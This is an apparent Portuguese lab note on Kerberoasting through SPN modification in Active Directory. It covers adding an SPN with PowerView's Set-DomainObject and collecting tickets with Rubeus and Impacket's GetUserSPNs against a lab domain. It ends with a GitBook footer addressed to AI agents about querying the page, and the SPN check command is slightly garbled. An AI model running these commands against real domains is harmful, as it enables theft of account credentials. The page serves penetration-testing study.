# Kerberoasting por meio da modificação de SPN
### Princípio
Se você tiver permissões de escrita em um usuário, por exemplo:
```
GenericWriteGenericAllWriteProperty
```
podemos adicionar um SPN a ele.
Assim que o SPN é adicionado, essa conta se torna passível de Kerberoasting.
### Exemplo com `evy.marnia`
No seu laboratório, imaginamos que `user1` tem permissão de gravação em:
```bash
evy.marnia
```
Adicionamos um SPN:
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### Verifique a criação do SPN
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
Devemos ver o SPN adicionado:
### Coletar o ticket com o Rubeus
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### Recuperar o ticket com o Impacket
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/pt-br/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
